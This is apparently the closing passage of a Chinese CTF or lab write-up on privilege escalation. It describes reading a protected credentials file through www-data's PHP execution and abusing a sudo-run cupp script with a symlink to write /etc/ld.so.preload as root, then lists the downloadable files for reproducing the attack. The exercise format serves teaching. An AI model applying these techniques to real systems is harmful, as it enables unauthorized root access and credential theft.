xiao能写/var/www/html/pub,但读不到.passowrd_creds,所以要借www-data的 PHP 执行环境代读。 - sudo 脚本要看文件写入边界。
cupp的重点不是“能运行”,而是以 root 身份把可控文件名写到.txt,再配合符号链接写入/etc/ld.so.preload。
附件下载
为了方便复现,本文涉及的关键源码和配置文件已整理到站点静态目录:
| 文件 | 说明 |
|---|---|
| app.py | 28080 Flask 应用源码 |
| custom_login | Telnet 登录包装脚本 |
| telnet_xinetd.conf | Telnet xinetd 配置 |
| cupp.py | /usr/bin/cupp 指向的 Python 脚本 |
| cupp.cfg | cupp 词表长度等配置 |